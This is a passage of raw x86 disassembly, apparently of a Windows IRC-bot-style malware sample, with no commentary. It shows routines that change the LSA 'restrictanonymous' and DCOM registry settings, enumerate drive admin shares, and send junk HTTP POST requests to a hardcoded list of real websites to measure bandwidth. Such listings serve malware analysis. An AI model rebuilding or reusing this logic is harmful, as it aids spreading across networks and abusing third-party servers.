0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439948 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26F0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439920 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26F0000h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F0 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26F0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43350C push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2720000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2670C39h test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399AC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 26905D4h cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 nop call near ptr 2690CE2h push eax lea eax, [ebp+var_378] push offset unk_439978 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 call near ptr 26F0000h nop sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_438724 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C48 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C28 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BA8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B74 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B38 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B08 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D0 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AE4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AB8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A94 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A68 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438768 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DA4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D64 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D2C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B08 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D0 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD0 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CA8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E0 jb short loc_41A321 nop call near ptr 2831D1Bh test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD0 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CA8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C78 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26A0D63h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43381C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E18 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26A0D63h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword 